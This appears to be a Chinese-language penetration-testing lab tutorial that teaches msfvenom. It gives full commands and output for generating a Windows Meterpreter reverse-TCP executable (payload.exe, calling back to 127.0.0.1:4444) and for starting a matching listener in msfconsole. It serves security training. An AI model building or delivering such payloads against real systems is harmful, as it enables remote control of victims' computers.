引言
在本实验中,你将获得使用 msfvenom 的实践经验。msfvenom 是 Metasploit Framework 的一个命令行实例,用于生成 payloads。它是两个旧工具 msfpayload 和 msfencode 的结合体,提供了一个强大的工具,用于为各种目标和多种格式创建 shellcode。
本实验的主要目标是指导你完成生成独立的 Windows 可执行 payload 的过程。你将学习如何选择一个 payload,配置其选项(如监听主机和端口),最后在 msfconsole 中设置一个监听器来接收来自 payload 的连接。所有操作都将在 ~/project 目录下进行。
使用 msfvenom --list payloads 列出可用 payloads
在此步骤中,你将开始探索 msfvenom 的功能。学习任何工具的第一件事就是了解它能做什么。你可以使用 --list payloads 选项列出所有可用的 payloads。这将为你提供一个全面的列表,其中包含 msfvenom 可以为不同操作系统、架构和应用程序生成的 shellcode。
在你的终端中执行以下命令以查看完整的 payload 列表:
msfvenom --list payloads
输出内容会非常长。在实际场景中,你通常会过滤此列表以查找特定的 payload。例如,如果你要针对 Windows 机器,可以使用 grep 来搜索相关的 payloads。让我们尝试查找 windows/meterpreter/reverse_tcp payload,我们将在后续步骤中使用它。
msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"
你应该会看到类似以下的输出,确认该 payload 存在:
windows/meterpreter/reverse_tcp Windows Meterpreter (Reflective Injection), Reverse TCP Stager
这证实了 msfvenom 可以生成此特定 payload。
使用 msfvenom 生成 Windows 可执行文件 -p windows/meterpreter/reverse_tcp
在此步骤中,你将选择一个特定的 payload 进行生成。根据我们在上一步的搜索,我们将使用 windows/meterpreter/reverse_tcp。这是一个非常常用且强大的 payload。它会创建一个从目标机器到你的“反向”连接,而“Meterpreter”是一个高级的、功能丰富的 shell,允许进行广泛的后渗透活动。
要在 msfvenom 中选择一个 payload,你需要使用 -p (或 --payload) 选项。让我们尝试仅选择 payload 来构建命令。
在你的终端中运行以下命令:
msfvenom -p windows/meterpreter/reverse_tcp
你会注意到此命令失败并产生错误消息。这是预期的。
[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option
输出清楚地表明 LHOST 是一个必需的选项。这是因为反向 TCP payload 需要知道要连接回哪个 IP 地址。在下一步中,我们将提供此必需的信息。
为 payload 设置 LHOST 和 LPORT
在此步骤中,你将提供 payload 正确运行所需的选项。正如上一步的错误消息所示,我们需要设置 LHOST。
LHOST: 代表“Listening Host”(监听主机)。这是你将接收 payload 传入连接的机器的 IP 地址。在本实验中,我们将在同一台机器上运行监听器,因此我们可以使用回环 IP 地址127.0.0.1。LPORT: 代表“Listening Port”(监听端口)。这是监听器将绑定的LHOST上的端口。你可以选择任何未被使用的非特权端口。一个常见的选择是4444。
你可以直接在命令行中设置这些选项。让我们将 LHOST 和 LPORT 添加到我们之前的命令中:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444
运行此命令后,你将在终端中看到一大块字符直接打印出来。这是 payload 的原始 shellcode。
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>
作为一个独立的文件,这并没有太大用处。在下一步中,你将学习如何将此原始 shellcode 格式化为一个可用的可执行文件。
使用 -f exe 和 -o 指定输出格式和文件名
在此步骤中,你将通过指定格式并将其保存到文件来完成 payload 的生成。将原始 shellcode 打印到终端不便于传输。我们需要将其打包成目标操作系统可以执行的格式。
msfvenom 为此提供了两个重要选项:
-f或--format: 此选项指定输出格式。由于我们的目标是 Windows,我们将使用exe格式来创建一个标准的 Windows 可执行文件。-o或--out: 此选项指定输出文件的路径和文件名。
让我们将所有学到的选项组合成一个最终命令。此命令将在你的当前目录 (~/project) 中生成一个名为 payload.exe 的 Windows 可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe
命令完成后,你将看到确认 payload 已创建的输出:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
你可以使用 ls -l 命令来验证文件是否已创建:
ls -l payload.exe
输出应显示新创建的文件:
-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe
你现在已成功生成了一个独立的 payload 文件。
在 msfconsole 中创建监听器以捕获连接
在此步骤中,你将设置一个监听器来处理你刚刚创建的 payload 的连接。如果没有接收反向连接的机制,payload 将毫无用处。为此,我们将使用 msfconsole,这是 Metasploit Framework 的主要接口。
首先,启动 msfconsole。使用 -q 标志可以使其安静启动,不显示横幅(banner),这样更整洁。
msfconsole -q
你的提示符将变为 msf6 >。现在,你需要配置一个处理程序来监听传入的连接。处理程序的设置必须与你生成 payload 时使用的设置完全匹配。
使用
exploit/multi/handler模块。这是一个通用的传入连接处理程序。use exploit/multi/handler设置与你生成的 payload 匹配的 payload。
set payload windows/meterpreter/reverse_tcp将
LHOST设置为相同的 IP 地址。set LHOST 127.0.0.1将
LPORT设置为相同的端口。set LPORT 4444最后,运行监听器。
run
msfconsole 现在将显示一条消息,表明监听器已启动。
[*] Started reverse TCP handler on 127.0.0.1:4444
此时,监听器已激活并正在等待。在实际攻击中,你会将 payload.exe 传输到 Windows 目标并执行它。执行后,它将连接回此监听器,你将获得一个 Meterpreter 会话。由于本实验中没有目标 Windows 机器,我们将看不到连接。这里的目标是学习生成 payload 及其相应监听器的完整过程。
要退出监听器,请按 Ctrl + C。要退出 msfconsole,请输入 exit 并按 Enter。
exit
总结
在本实验中,你已成功掌握了使用 msfvenom 生成独立 payload 的基础知识。你实践了整个工作流程,从探索可用 payload 到创建最终的可执行文件,再到设置监听器来处理其连接。
你现在已经熟悉了关键的 msfvenom 选项,包括:
--list payloads查看可用的 payload。-p选择特定的 payload,例如windows/meterpreter/reverse_tcp。LHOST和LPORT配置 payload 的连接详情。-f设置输出格式(例如exe)。-o将 payload 保存到文件。
此外,你还学习了如何在 msfconsole 中使用 exploit/multi/handler 来创建与你的 payload 配置匹配的监听器。这些知识为许多渗透测试和安全研究任务奠定了关键基础。


